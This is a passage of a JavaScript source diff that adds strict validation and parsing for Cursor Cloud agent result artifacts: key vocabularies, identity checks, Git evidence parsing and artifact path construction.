+ 'assignment_id', + 'provider', + 'model', + 'child_envelope_digest', + 'request_id', + 'agent_id', + 'provider_run_id', + 'repository_identity', + 'repository_url', + 'branch', + 'starting_sha', + 'head_sha', + 'observed', + 'provider_report', + 'git_evidence', +]); + +export const CURSOR_CLOUD_RESULT_SOURCE_OBSERVED_KEYS = capturedFreeze([ + 'provider_run_id', + 'request_id', + 'agent_id', + 'run_id', + 'assignment_id', +]); + +export const CURSOR_CLOUD_PROVIDER_REPORT_INPUT_KEYS = capturedFreeze([ + 'status', + 'output', + 'error', + 'source_truncated', +]); + +export const CURSOR_CLOUD_GIT_EVIDENCE_INPUT_KEYS = capturedFreeze([ + 'repository_identity', + 'repository_url', + 'branch', + 'head_sha', + 'merge_base_sha', + 'starting_sha', + 'linear_history', + 'pr_url', + 'source_truncated', +]); + +export const CURSOR_CLOUD_SDK_GIT_KEYS = capturedFreeze(['branches']); +export const CURSOR_CLOUD_SDK_BRANCH_KEYS = capturedFreeze([ + 'repoUrl', 'branch', 'prUrl', +]); +const CURSOR_CLOUD_GIT_PROJECTOR_KEYS = capturedFreeze([ + ...CURSOR_CLOUD_GIT_EVIDENCE_INPUT_KEYS, + ...CURSOR_CLOUD_SDK_GIT_KEYS, +]); + +export const CURSOR_CLOUD_SDK_PROVIDER_REPORT_KEYS = capturedFreeze([ + 'status', + 'result', + 'output', + 'error', + 'truncated', + 'source_truncated', +]); + +export const CURSOR_CLOUD_SDK_RESULT_KEYS = capturedFreeze([ + 'id', + 'requestId', + 'agentId', + 'git', + ...CURSOR_CLOUD_SDK_PROVIDER_REPORT_KEYS, +]); + +export const CURSOR_CLOUD_RESULT_CORRELATION_KEYS = capturedFreeze([ + 'recorded', + 'observed', + 'git_evidence', +]); + +const CURSOR_CLOUD_TASK_IDENTITY_KEYS = capturedFreeze([ + 'run_id', + 'assignment_id', + 'provider', + 'model', + 'child_envelope_digest', + 'run_idempotency_key', + 'provider_agent_id', + 'provider_run_id', + 'provider_repo_url', + 'provider_repo_identity', + 'provider_branch', + 'starting_ref', + 'head_sha', +]); + +const CURSOR_CLOUD_RECORDED_IDENTITY_KEYS = capturedFreeze([ + 'run_id', + 'assignment_id', + 'request_id', + 'provider_run_id', + 'agent_id', + 'branch', + 'repository_identity', + 'repository_url', + 'starting_sha', + 'head_sha', +]); + +export const CURSOR_CLOUD_PROVIDER_REPORT_STATUSES = capturedFreeze([ + 'finished', 'completed', 'failed', 'cancelled', 'error', +]); + +export const CURSOR_CLOUD_RESULT_SOURCE_RECEIPT_KEYS = capturedFreeze([ + 'schema', + 'version', + 'published', + 'run_id', + 'assignment_id', + 'provider', + 'model', + 'child_envelope_digest', + 'request_id', + 'agent_id', + 'provider_run_id', + 'provider_report', + 'git_evidence', +]); + +export const CURSOR_CLOUD_RESULT_SOURCE_SLOT_KEYS = capturedFreeze([ + 'source_kind', + 'artifact_kind', + 'published', + 'empty', + 'relative_path', + 'media_type', + 'raw_ref', + 'sanitized_ref', + 'raw_digest', + 'sanitized_digest', + 'ref_digest_raw', + 'ref_digest_sanitized', + 'source_byte_length', + 'sanitized_byte_length', + 'redaction_counts', + 'sanitizer_version', + 'policy_id', + 'complete', + 'source_truncated', + 'inline_clipped', + 'storage_limited', + 'provenance', + 'inline_tail', + 'status', + 'repository_identity', + 'repository_url', + 'branch', + 'head_sha', + 'merge_base_sha', + 'starting_sha', + 'linear_history', + 'pr_url', +]); + +export const CURSOR_CLOUD_RESULT_SOURCE_INLINE_TAIL_KEYS = capturedFreeze([ + 'encoding', + 'text', + 'byte_length', + 'offset', + 'max_bytes', + 'inline_clipped', + 'source_truncated', + 'complete', + 'reader_clipped', + 'more', + 'next_offset', +]); + +export const CURSOR_CLOUD_RESULT_SOURCE_FAILURE_KEYS = capturedFreeze([ + 'schema', + 'version', + 'published', + 'error', +]); + +export const CURSOR_CLOUD_RESULT_SOURCE_ERROR_CODES = capturedFreeze([ + 'agent_identity_mismatch', + 'artifact_sink_failed', + 'artifact_sink_not_published', + 'artifact_sink_not_verified', + 'artifact_stream_invalid_chunk', + 'artifact_stream_invalid_source', + 'artifact_stream_over_cap', + 'assignment_identity_mismatch', + 'base_identity_mismatch', + 'branch_identity_mismatch', + 'cursor_cloud_provider_required', + 'head_identity_mismatch', + 'invalid_format', + 'invalid_type', + 'malformed_result', + 'missing_key', + 'provider_run_identity_mismatch', + 'proxy_denied', + 'repository_identity_mismatch', + 'request_identity_mismatch', + 'run_identity_mismatch', + 'source_confusion_denied', + 'unknown_key', + 'unknown_provider', +]); + +export const CURSOR_CLOUD_RESULT_SOURCE_IDENTITY_MISMATCH_CODES = capturedFreeze([ + 'agent_identity_mismatch', + 'assignment_identity_mismatch', + 'base_identity_mismatch', + 'branch_identity_mismatch', + 'head_identity_mismatch', + 'provider_run_identity_mismatch', + 'repository_identity_mismatch', + 'request_identity_mismatch', + 'run_identity_mismatch', +]); + +export const CURSOR_CLOUD_RESULT_SOURCE_FAILURE_MESSAGE = + 'The Cursor Cloud result source did not materialize after provider terminal.'; + +export const CURSOR_CLOUD_RESULT_SOURCE_FAILURE_CODE_ALLOWLIST = capturedFreeze([ + ...CURSOR_CLOUD_RESULT_SOURCE_ERROR_CODES, + 'accessor_property_denied', + 'artifact_content_conflict', + 'artifact_digest_mismatch', + 'artifact_length_mismatch', + 'artifact_metadata_conflict', + 'artifact_stream_failed', + 'non_enumerable_property_denied', + 'own_undefined_denied', + 'sanitizer_content_encoding_denied', + 'sanitizer_empty_output', + 'sanitizer_media_type_denied', +]); + +export const CURSOR_CLOUD_RESULT_SOURCE_FAILURE_PATH_ALLOWLIST = capturedFreeze([ + 'artifact_ref', + 'git_evidence', + 'inline_tail', + 'observed', + 'options.agent_id', + 'options.assignment_id', + 'options.branch', + 'options.child_envelope_digest', + 'options.head_sha', + 'options.model', + 'options.provider', + 'options.provider_run_id', + 'options.repository_identity', + 'options.repository_url', + 'options.request_id', + 'options.run_id', + 'options.starting_sha', + 'provider_report', + 'provider_report.error', + 'provider_report.output', + 'provider_report.source_truncated', + 'provenance', + 'recorded', + 'result', + 'task', + 'correlation', + 'relative_path', + 'root', + 'source', +]); + +const PRIVATE_SHA256_PATTERN = /^[0-9a-f]{64}$/u; +const TOKEN_ID_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._:-]{0,127}$/u; +const BRANCH_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._/-]{0,127}$/u; +const REPO_IDENTITY_PATTERN = /^[a-z0-9][a-z0-9.-]*(?::[0-9]{1,5})?\/[A-Za-z0-9._~/-]+$/u; +const REPO_URL_PATTERN = /^https:\/\/[a-z0-9][a-z0-9.-]*(?::[0-9]{1,5})?\/[A-Za-z0-9._~/-]+$/u; +const PR_URL_PATTERN = /^https:\/\/[a-z0-9][a-z0-9.-]*(?::[0-9]{1,5})?\/[A-Za-z0-9._~/-]+$/u; +const DENSE_ARRAY_INDEX_PATTERN = /^(0|[1-9][0-9]*)$/u; + +const INTRINSIC_VIEW_SURFACE_KEYS = capturedFreeze([ + 'buffer', + 'byteOffset', + 'byteLength', + 'subarray', +]); + +const CREATE_HASH = createHash; +const TIMING_SAFE_EQUAL = cryptoTimingSafeEqual; +const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); +const BUFFER_CONCAT = NodeBuffer.concat.bind(NodeBuffer); +const BUFFER_ALLOC = NodeBuffer.alloc.bind(NodeBuffer); +const JSON_STRINGIFY = JSON.stringify; +const JSON_PARSE = JSON.parse; +const STRING = String; +const PATH_JOIN = path.join; +const PATH_RESOLVE = path.resolve; +const PATH_IS_ABSOLUTE = path.isAbsolute; +const MKDIR = mkdir; +const CHMOD = chmod; +const OBJECT_GET_PROTOTYPE_OF = Object.getPrototypeOf; +const OBJECT_GET_OWN_PROPERTY_DESCRIPTOR = Object.getOwnPropertyDescriptor; +const REFLECT_HAS = Reflect.has; +const ARRAY_BUFFER_IS_VIEW = ArrayBuffer.isView; +const IS_PROXY = utilTypes.isProxy; +const IS_ARRAY_BUFFER = utilTypes.isArrayBuffer; +const IS_SHARED_ARRAY_BUFFER = utilTypes.isSharedArrayBuffer; +const NUMBER_IS_FINITE = Number.isFinite; +const NUMBER_IS_SAFE_INTEGER = Number.isSafeInteger; + +const ARRAY_PROTOTYPE = Array.prototype; +const UINT8ARRAY_PROTOTYPE = Uint8Array.prototype; +const BUFFER_PROTOTYPE = NodeBuffer.prototype; +const OBJECT_PROTOTYPE = Object.prototype; +const ASYNC_GENERATOR_PROTOTYPE = OBJECT_GET_PROTOTYPE_OF( + Object.getPrototypeOf((async function* () {}).prototype), +); +const SYMBOL_ASYNC_ITERATOR = Symbol.asyncIterator; + +function diagnostic(message) { + const text = STRING(message ?? ''); + return text.length <= 200 ? text : text.slice(0, 200); +} + +function failSource(code, field, message) { + fail(code, field, diagnostic(message)); +} + +function hasOwnIntrinsicViewSurfaceOverride(value) { + try { + for (let index = 0; index < INTRINSIC_VIEW_SURFACE_KEYS.length; index += 1) { + const descriptor = OBJECT_GET_OWN_PROPERTY_DESCRIPTOR( + value, + INTRINSIC_VIEW_SURFACE_KEYS[index], + ); + if (descriptor !== undefined) return true; + } + return false; + } catch { + return true; + } +} + +function isIntrinsicBinaryView(value) { + if (value === null || typeof value !== 'object') return false; + if (IS_PROXY(value)) return false; + const proto = OBJECT_GET_PROTOTYPE_OF(value); + if (proto !== UINT8ARRAY_PROTOTYPE && proto !== BUFFER_PROTOTYPE) return false; + if (!ARRAY_BUFFER_IS_VIEW(value)) return false; + if (hasOwnIntrinsicViewSurfaceOverride(value)) return false; + const backing = value.buffer; + if (!IS_ARRAY_BUFFER(backing) || IS_SHARED_ARRAY_BUFFER(backing)) return false; + return true; +} + +function snapshotView(view) { + const copy = BUFFER_ALLOC(view.byteLength); + copy.set(view); + return copy; +} + +function isAcceptableAsyncIterable(source) { + let proto = OBJECT_GET_PROTOTYPE_OF(source); + for (let depth = 0; depth < 4 && proto !== null; depth += 1) { + if (IS_PROXY(proto)) return false; + if (proto === ASYNC_GENERATOR_PROTOTYPE) return true; + if (proto === OBJECT_PROTOTYPE) break; + proto = OBJECT_GET_PROTOTYPE_OF(proto); + } + if (proto !== null && proto !== OBJECT_PROTOTYPE) return false; + if (!REFLECT_HAS(source, SYMBOL_ASYNC_ITERATOR)) return false; + const descriptor = OBJECT_GET_OWN_PROPERTY_DESCRIPTOR(source, SYMBOL_ASYNC_ITERATOR); + if (descriptor === undefined || descriptor.get !== undefined) return false; + return typeof descriptor.value === 'function'; +} + +function digestOf(bytes) { + return CREATE_HASH('sha256').update(bytes).digest('hex'); +} + +function mediaExtension(mediaType) { + if (mediaType === 'application/json') return 'json'; + if (mediaType === 'application/x-ndjson') return 'ndjson'; + if (mediaType === 'text/markdown') return 'md'; + return 'txt'; +} + +function uint32be(length) { + const header = BUFFER_ALLOC(4); + header[0] = (length >>> 24) & 0xff; + header[1] = (length >>> 16) & 0xff; + header[2] = (length >>> 8) & 0xff; + header[3] = length & 0xff; + return header; +} + +function encodePart(value) { + return BUFFER_FROM(value ?? '', 'utf8'); +} + +function identityNamespaceDigest(identity) { + const parts = [ + identity.provider, + identity.model, + identity.child_envelope_digest ?? '', + identity.request_id ?? '', + identity.provider_run_id ?? '', + ]; + const hash = CREATE_HASH('sha256'); + for (let index = 0; index < parts.length; index += 1) { + const encoded = encodePart(parts[index]); + hash.update(uint32be(encoded.byteLength)).update(encoded); + } + return hash.digest('hex'); +} + +function artifactRelativePath(identity, fileName) { + const binding = identityNamespaceDigest(identity); + const relativePath = + `runs/${identity.run_id}/${identity.assignment_id}/${identity.provider}/${binding}/${fileName}`; + validateArtifactRelativePathV1(relativePath, 'relative_path'); + return relativePath; +} + +export function cursorCloudProviderReportPathV1(identity, mediaType = 'text/plain') { + if (identity === null || typeof identity !== 'object' || Array.isArray(identity)) { + failSource('invalid_type', 'identity', + 'A provider-report path requires a bounded identity object.'); + } + return artifactRelativePath(identity, `provider-report.${mediaExtension(mediaType)}`); +} + +export function cursorCloudGitEvidencePathV1(identity) { + if (identity === null || typeof identity !== 'object' || Array.isArray(identity)) { + failSource('invalid_type', 'identity', + 'A Git-evidence path requires a bounded identity object.'); + } + return artifactRelativePath(identity, 'git-evidence.json'); +} + +function exactBytesEqual(left, right) { + if (typeof left !== 'string' || typeof right !== 'string') return false; + const a = BUFFER_FROM(left, 'utf8'); + const b = BUFFER_FROM(right, 'utf8'); + if (a.byteLength !== b.byteLength) return false; + return TIMING_SAFE_EQUAL(a, b); +} + +function assertExactIdentity(recorded, observed, code, field, label) { + if (recorded == null || observed == null) return; + if (!exactBytesEqual(recorded, observed)) { + failSource(code, field, `Cursor Cloud ${label} identity did not match the recorded identity.`); + } +} + +function assertTokenId(value, field, label) { + if (typeof value !== 'string' || !capturedTest(TOKEN_ID_PATTERN, value)) { + failSource('invalid_format', field, + `${label} must be an exact bounded Cursor Cloud identity token.`); + } + return value; +} + +function assertOptionalToken(input, key, field, label) { + if (!hasOwn(input, key)) return null; + return assertTokenId(ownDataValue(input, key, field), field, label); +} + +function assertBranch(value, field) { + if (typeof value !== 'string' || !capturedTest(BRANCH_PATTERN, value)) { + failSource('invalid_format', field, + 'branch must be an exact independently observed Git branch identity.'); + } + return value; +} + +function assertCommit(value, field) { + if (typeof value !== 'string' || !isSha40(value) || !capturedTest(SHA40_PATTERN, value)) { + failSource('invalid_format', field, + `${field} must be an exact lowercase 40-hex commit SHA.`); + } + return value; +} + +function assertRepoIdentity(value, field) { + if (typeof value !== 'string' || !capturedTest(REPO_IDENTITY_PATTERN, value)) { + failSource('invalid_format', field, + 'repository_identity must be a credential-free host/path identity.'); + } + return value; +} + +function assertRepoUrl(value, field) { + if (typeof value !== 'string' || !capturedTest(REPO_URL_PATTERN, value)) { + failSource('invalid_format', field, + 'repository_url must be a credential-free https repository URL.'); + } + return value; +} + +function assertPrUrl(value, field) { + if (typeof value !== 'string' || !capturedTest(PR_URL_PATTERN, value)) { + failSource('invalid_format', field, + 'pr_url must be a credential-free https pull-request URL.'); + } + return value; +} + +function parseBooleanFlag(input, key, field) { + if (!hasOwn(input, key)) return false; + const flagged = ownDataValue(input, key, field); + if (flagged !== true && flagged !== false) { + failSource('invalid_type', field, + `${field} must be an exact boolean when present.`); + } + return flagged === true; +} + +function inspectOwnKeys(input, field) { + try { + return capturedOwnKeys(input); + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + failSource('proxy_denied', field, + `${field} keys could not be inspected safely.`); + } +} + +function isDenseArrayIndexKey(key, length) { + if (typeof key !== 'string' || !capturedTest(DENSE_ARRAY_INDEX_PATTERN, key)) return false; + const index = Number(key); + return NUMBER_IS_SAFE_INTEGER(index) && index >= 0 && index < length && STRING(index) === key; +} + +function assertConcreteDenseDirectDataArray(value, field) { + if (value !== null && (typeof value === 'object' || typeof value === 'function')) { + assertNotProxy(value, field); + } + let isArray = false; + try { + isArray = capturedIsArray(value); + } catch { + failSource('malformed_result', field, + 'Independently observed Git branches must be a dense array.'); + } + if (value === null || typeof value !== 'object' || isArray !== true) { + failSource('malformed_result', field, + 'Independently observed Git branches must be a dense array.'); + } + let prototype; + try { + prototype = OBJECT_GET_PROTOTYPE_OF(value); + } catch { + failSource('malformed_result', field, + 'Independently observed Git branches must be a dense array.'); + } + if (prototype !== ARRAY_PROTOTYPE && prototype !== null) { + failSource('malformed_result', field, + 'Independently observed Git branches must be a dense array.'); + } + const lengthDescriptor = ownDescriptor(value, 'length'); + if (lengthDescriptor === undefined + || lengthDescriptor.enumerable + || lengthDescriptor.get !== undefined + || lengthDescriptor.set !== undefined + || typeof lengthDescriptor.value !== 'number' + || !NUMBER_IS_SAFE_INTEGER(lengthDescriptor.value) + || lengthDescriptor.value < 0) { + failSource('malformed_result', field, + 'Independently observed Git branches must be a dense array.'); + } + const length = lengthDescriptor.value; + const ownKeys = inspectOwnKeys(value, field); + for (let index = 0; index < ownKeys.length; index += 1) { + const key = ownKeys[index]; + if (typeof key === 'symbol') { + failSource('unknown_key', `${field}[symbol]`, + 'Independently observed Git branches carry a symbol key outside the closed result-source vocabulary.'); + } + if (key === 'length') continue; + const descriptor = ownDescriptor(value, key); + if (!isDenseArrayIndexKey(key, length)) { + if (descriptor !== undefined && !descriptor.enumerable) { + failSource('non_enumerable_property_denied', field, + 'Independently observed Git branches carry non-enumerable properties beyond dense indices.'); + } + failSource('unknown_key', field, + 'Independently observed Git branches carry named properties beyond dense indices.'); + } + const memberPath = `${field}[${key}]`; + if (descriptor === undefined || !descriptor.enumerable) { + failSource('non_enumerable_property_denied', memberPath, + `${memberPath} could not be described as an own enumerable data property.`); + } + if (descriptor.get !== undefined || descriptor.set !== undefined) { + failSource('accessor_property_denied', memberPath, + `${memberPath} is an accessor property; result-source data must be direct JSON values and getters are never invoked.`); + } + if (descriptor.value === undefined) { + failSource('own_undefined_denied', memberPath, + `${memberPath} is an own undefined value; omit the element instead of writing undefined.`); + } + if (descriptor.value !== null && (typeof descriptor.value === 'object' || typeof descriptor.value === 'function')) { + assertNotProxy(descriptor.value, memberPath); + } + } + for (let index = 0; index < length; index += 1) { + if (!hasOwn(value, STRING(index))) { + failSource('malformed_result', field, + 'Independently observed Git branches must be a dense array.'); + } + } + return length; +} + +function rejectRecordedMismatchBypassAliases(recorded) { + if (hasOwn(recorded, 'requestId')) { + failSource('unknown_key', 'recorded.requestId', + 'recorded carries a request identity alias outside the closed result-source vocabulary.'); + } + if (hasOwn(recorded, 'branch_name')) { + failSource('unknown_key', 'recorded.branch_name', + 'recorded carries a branch identity alias outside the closed result-source vocabulary.'); + } + if (hasOwn(recorded, 'headSha')) { + failSource('unknown_key', 'recorded.headSha', + 'recorded carries a head identity alias outside the closed result-source vocabulary.'); + } +} + +function closedObject(input, allowed, field, label) { + assertPlainObject(input, 'invalid_type', field, label); + const ownKeys = inspectOwnKeys(input, field); + const names = []; + for (let index = 0; index < ownKeys.length; index += 1) { + const key = ownKeys[index]; + if (typeof key === 'symbol') { + failSource('unknown_key', `${field}[symbol]`, + `${field} carries a symbol key outside the closed result-source vocabulary.`); + } + if (!capturedIncludes(allowed, key)) { + failSource('unknown_key', `${field}.${key}`, + `${field}.${key} is not part of the closed result-source vocabulary.`); + } + names.push(key); + } + names.sort(); + return names; +} + +function ownScalar(input, key, field) { + const value = ownDataValue(input, key, field); + if (value !== null && (typeof value === 'object' || typeof value === 'function')) { + assertNotProxy(value, field); + } + return value; +} + +function optionalOwnScalar(input, key, field) { + if (!hasOwn(input, key)) return undefined; + const descriptor = ownDescriptor(input, key); + if (descriptor === undefined) return undefined; + if (!descriptor.enumerable) { + failSource('non_enumerable_property_denied', field, + `${field} could not be described as an own enumerable data property.`); + } + if (descriptor.get !== undefined || descriptor.set !== undefined) { + failSource('accessor_property_denied', field, + `${field} is an accessor property; result-source data must be direct JSON values and getters are never invoked.`); + } + const value = descriptor.value; + if (value !== null && (typeof value === 'object' || typeof value === 'function')) { + assertNotProxy(value, field); + } + return value; +} + +function cloneOwnedJson(value, field) { + if (value === undefined) return undefined; + if (value === null || typeof value === 'string' || typeof value === 'boolean') return value; + if (typeof value === 'number') { + if (!NUMBER_IS_FINITE(value)) { + failSource('invalid_type', field, 'JSON number results must be finite.'); + } + return value; + } + if (typeof value !== 'object') { + failSource('invalid_type', field, + 'The Cursor Cloud JSON value could not be copied into owned data.'); + } + assertNotProxy(value, field); + assertDirectJsonClosure(value, field); + try { + return JSON_PARSE(JSON_STRINGIFY(value)); + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + failSource('invalid_type', field, + 'The Cursor Cloud JSON value could not be copied into owned data.'); + } +} + +function readExactBoolean(input, key, field) { + const flagged = ownDataValue(input, key, field); + if (flagged !== true && flagged !== false) { + failSource('invalid_type', field, + `${field} must be an exact boolean when present.`); + } + return flagged === true; +} + +function readTruncationAliases(input, field) { + const hasTruncated = hasOwn(input, 'truncated'); + const hasSourceTruncated = hasOwn(input, 'source_truncated'); + if (!hasTruncated && !hasSourceTruncated) return false; + const truncated = hasTruncated + ? readExactBoolean(input, 'truncated', `${field}.source_truncated`) + : null; + const sourceTruncated = hasSourceTruncated + ? readExactBoolean(input, 'source_truncated', `${field}.source_truncated`) + : null; + if (hasTruncated && hasSourceTruncated && truncated !== sourceTruncated) { + failSource('invalid_format', `${field}.source_truncated`, + 'truncated and source_truncated aliases must match when both are present.'); + } + return (sourceTruncated ?? truncated) === true; +} + +function assertNotProxySurface(value, field, label) { + if (value !== null && (typeof value === 'object' || typeof value === 'function')) { + assertNotProxy(value, field); + } + if (value === null || typeof value !== 'object' || capturedIsArray(value)) { + failSource('malformed_result', field, label); + } +} + +function encodeJsonValue(value, field) { + assertDirectJsonClosure(value, field); + try { + const text = JSON_STRINGIFY(value); + if (typeof text !== 'string') { + failSource('invalid_type', field, + 'The Cursor Cloud JSON value could not be serialized.'); + } + return BUFFER_FROM(text, 'utf8'); + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + failSource('invalid_type', field, + 'The Cursor Cloud JSON value could not be serialized.'); + } +} + +function chunkToBytes(chunk, field) { + if (typeof chunk === 'string') return BUFFER_FROM(chunk, 'utf8'); + if (isIntrinsicBinaryView(chunk)) return snapshotView(chunk); + failSource('artifact_stream_invalid_chunk', field, + 'Every stream chunk must be a string or an intrinsic Buffer/Uint8Array view.'); +} + +async function collectStream(iterable, field) { + const parts = []; + let total = 0; + try { + for await (const chunk of iterable) { + const bytes = chunkToBytes(chunk, field); + if (total + bytes.byteLength > MAX_RAW_ARTIFACT_BYTE_LENGTH) { + failSource('artifact_stream_over_cap', field, + `The Cursor Cloud result exceeded the ${MAX_RAW_ARTIFACT_BYTE_LENGTH}-byte raw class cap; nothing was published.`); + } + parts.push(bytes); + total += bytes.byteLength; + } + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + failSource('artifact_sink_failed', field, + 'The Cursor Cloud result stream failed before its declared length; nothing was published.'); + } + if (total === 0) return BUFFER_ALLOC(0); + if (parts.length === 1) return parts[0]; + return BUFFER_CONCAT(parts, total); +} + +async function normalizeOutput(source, field) { + if (source === null || source === undefined) { + return { bytes: BUFFER_ALLOC(0), mediaType: 'text/plain' }; + } + if (typeof source === 'string') { + return { bytes: BUFFER_FROM(source, 'utf8'), mediaType: 'text/plain' }; + } + if (typeof source === 'number' || typeof source === 'boolean') { + if (typeof source === 'number' && !NUMBER_IS_FINITE(source)) { + failSource('invalid_type', field, 'JSON number results must be finite.'); + } + return { bytes: BUFFER_FROM(JSON_STRINGIFY(source), 'utf8'), mediaType: 'application/json' }; + } + if (isIntrinsicBinaryView(source)) { + return { bytes: snapshotView(source), mediaType: 'text/plain' }; + } + if (source !== null && typeof source === 'object') { + if (IS_PROXY(source)) { + failSource('proxy_denied', field, 'The provider result source is a live or revoked Proxy.'); + } + if (isAcceptableAsyncIterable(source)) { + return { bytes: await collectStream(source, field), mediaType: 'text/plain' }; + } + if (Array.isArray(source) || OBJECT_GET_PROTOTYPE_OF(source) === OBJECT_PROTOTYPE + || OBJECT_GET_PROTOTYPE_OF(source) === null) { + return { bytes: encodeJsonValue(source, field), mediaType: 'application/json' }; + } + } + failSource('artifact_stream_invalid_source', field, + 'The provider result source must be a string, JSON value, intrinsic byte view, or async iterable of such chunks.'); +} + +function parseObserved(input) { + if (!hasOwn(input, 'observed')) return freezeData({}); + const observed = ownDataValue(input, 'observed', 'observed'); + closedObject(observed, CURSOR_CLOUD_RESULT_SOURCE_OBSERVED_KEYS, 'observed', + 'The independently observed Cursor Cloud correlation'); + const projected = {}; + if (hasOwn(observed, 'provider_run_id')) { + projected.provider_run_id = assertTokenId( + ownDataValue(observed, 'provider_run_id', 'observed.provider_run_id'), + 'observed.provider_run_id', 'provider run', + ); + } + if (hasOwn(observed, 'request_id')) { + projected.request_id = assertTokenId( + ownDataValue(observed, 'request_id', 'observed.request_id'), + 'observed.request_id', 'request', + ); + } + if (hasOwn(observed, 'agent_id')) { + projected.agent_id = assertTokenId( + ownDataValue(observed, 'agent_id', 'observed.agent_id'), + 'observed.agent_id', 'agent', + ); + } + if (hasOwn(observed, 'run_id')) { + const runId = ownDataValue(observed, 'run_id', 'observed.run_id'); + assertRunId(runId, 'observed.run_id'); + projected.run_id = runId; + } + if (hasOwn(observed, 'assignment_id')) { + const assignmentId = ownDataValue(observed, 'assignment_id', 'observed.assignment_id'); + if (typeof assignmentId !== 'string' || !isAssignmentId(assignmentId)) { + failSource('invalid_format', 'observed.assignment_id', + 'observed.assignment_id violates the assignment-id grammar.'); + } + projected.assignment_id = assignmentId; + } + return freezeData(projected); +} + +function parseProviderReport(input) { + if (!hasOwn(input, 'provider_report')) { + return { + status: null, + output: undefined, + error: null, + source_truncated: false, + }; + } + const report = ownDataValue(input, 'provider_report', 'provider_report'); + closedObject(report, CURSOR_CLOUD_PROVIDER_REPORT_INPUT_KEYS, 'provider_report', + 'The Cursor Cloud provider report'); + let status = null; + if (hasOwn(report, 'status')) { + status = ownDataValue(report, 'status', 'provider_report.status'); + if (!capturedIncludes(CURSOR_CLOUD_PROVIDER_REPORT_STATUSES, status)) { + failSource('invalid_format', 'provider_report.status', + 'provider_report.status must be a closed provider-reported status.'); + } + } + return { + status, + output: hasOwn(report, 'output') ? ownDataValue(report, 'output', 'provider_report.output') : undefined, + error: hasOwn(report, 'error') ? ownDataValue(report, 'error', 'provider_report.error') : null, + source_truncated: parseBooleanFlag(report, 'source_truncated', 'provider_report.source_truncated'), + }; +} + +function parseGitEvidence(input) { + if (!hasOwn(input, 'git_evidence')) return null; + const git = ownDataValue(input, 'git_evidence', 'git_evidence'); + if (git == null) return null; + closedObject(git, CURSOR_CLOUD_GIT_EVIDENCE_INPUT_KEYS, 'git_evidence', + 'Independently observed Cursor Cloud Git evidence'); + const projected = {}; + if (hasOwn(git, 'repository_identity')) { + projected.repository_identity = assertRepoIdentity( + ownDataValue(git, 'repository_identity', 'git_evidence.repository_identity'), + 'git_evidence.repository_identity', + ); + } + if (hasOwn(git, 'repository_url')) { + projected.repository_url = assertRepoUrl( + ownDataValue(git, 'repository_url', 'git_evidence.repository_url'), + 'git_evidence.repository_url', + ); + } + if (hasOwn(git, 'branch')) { + projected.branch = assertBranch( + ownDataValue(git, 'branch', 'git_evidence.branch'), + 'git_evidence.branch', + ); + } + if (hasOwn(git, 'head_sha')) { + projected.head_sha = assertCommit( + ownDataValue(git, 'head_sha', 'git_evidence.head_sha'), + 'git_evidence.head_sha', + ); + } + if (hasOwn(git, 'merge_base_sha')) { + projected.merge_base_sha = assertCommit( + ownDataValue(git, 'merge_base_sha', 'git_evidence.merge_base_sha'), + 'git_evidence.merge_base_sha', + ); + } + if (hasOwn(git, 'starting_sha')) { + projected.starting_sha = assertCommit( + ownDataValue(git, 'starting_sha', 'git_evidence.starting_sha'), + 'git_evidence.starting_sha', + ); + } + if (hasOwn(git, 'linear_history')) { + const linear = ownDataValue(git, 'linear_history', 'git_evidence.linear_history'); + if (linear !== true && linear !== false) { + failSource('invalid_type', 'git_evidence.linear_history', + 'git_evidence.linear_history must be an exact boolean when present.'); + } + projected.linear_history = linear; + } + if (hasOwn(git, 'pr_url')) { + projected.pr_url = assertPrUrl( + ownDataValue(git, 'pr_url', 'git_evidence.pr_url'), + 'git_evidence.pr_url', + ); + } + projected.source_truncated = parseBooleanFlag(git, 'source_truncated', 'git_evidence.source_truncated'); + return freezeData(projected); +} + +function parseIdentity(input) { + if (!hasOwn(input, 'run_id')) { + failSource('missing_key', 'options.run_id', + 'options.run_id is required; the result source binds one exact run identity.'); + } + if (!hasOwn(input, 'assignment_id')) { + failSource('missing_key', 'options.assignment_id', + 'options.assignment_id is required; the result source binds one exact child identity.'); + } + if (!hasOwn(input, 'provider')) { + failSource('missing_key', 'options.provider', + 'options.provider is required; the result source binds cursor-cloud only.'); + } + if (!hasOwn(input, 'model')) { + failSource('missing_key', 'options.model', + 'options.model is required; the result source binds one exact model identity.'); + } + + const runId = ownDataValue(input, 'run_id', 'options.run_id'); + assertRunId(runId, 'options.run_id'); + const assignmentId = ownDataValue(input, 'assignment_id', 'options.assignment_id'); + if (typeof assignmentId !== 'string' || !isAssignmentId(assignmentId)) { + failSource('invalid_format', 'options.assignment_id', + 'options.assignment_id violates the assignment-id grammar; child artifacts bind one exact child.'); + } + const provider = ownDataValue(input, 'provider', 'options.provider'); + if (typeof provider !== 'string' || !isKnownProvider(provider)) { + failSource('unknown_provider', 'options.provider', + 'options.provider must be a known provider.'); + } + if (provider !== CURSOR_CLOUD_RESULT_SOURCE_PROVIDER) { + failSource('cursor_cloud_provider_required', 'options.provider', + 'The Cursor Cloud result source accepts only cursor-cloud.'); + } + const model = ownDataValue(input, 'model', 'options.model'); + if (!isModelId(model)) { + failSource('invalid_format', 'options.model', + 'options.model must be an exact model identifier.'); + } + + let childEnvelopeDigest = null; + if (hasOwn(input, 'child_envelope_digest')) { + const digest = ownDataValue(input, 'child_envelope_digest', 'options.child_envelope_digest'); + if (typeof digest !== 'string' + || digest.length !== DIGEST_HEX_LENGTH + || !capturedTest(PRIVATE_SHA256_PATTERN, digest)) { + failSource('invalid_format', 'options.child_envelope_digest', + 'options.child_envelope_digest must be an exact lowercase SHA-256 hex digest when present.'); + } + childEnvelopeDigest = digest; + } + + return freezeData({ + run_id: runId, + assignment_id: assignmentId, + provider, + model, + child_envelope_digest: childEnvelopeDigest, + request_id: assertOptionalToken(input, 'request_id', 'options.request_id', 'request'), + agent_id: assertOptionalToken(input, 'agent_id', 'options.agent_id', 'agent'), + provider_run_id: assertOptionalToken(input, 'provider_run_id', 'options.provider_run_id', 'provider run'), + repository_identity: hasOwn(input, 'repository_identity') + ? assertRepoIdentity( + ownDataValue(input, 'repository_identity', 'options.repository_identity'), + 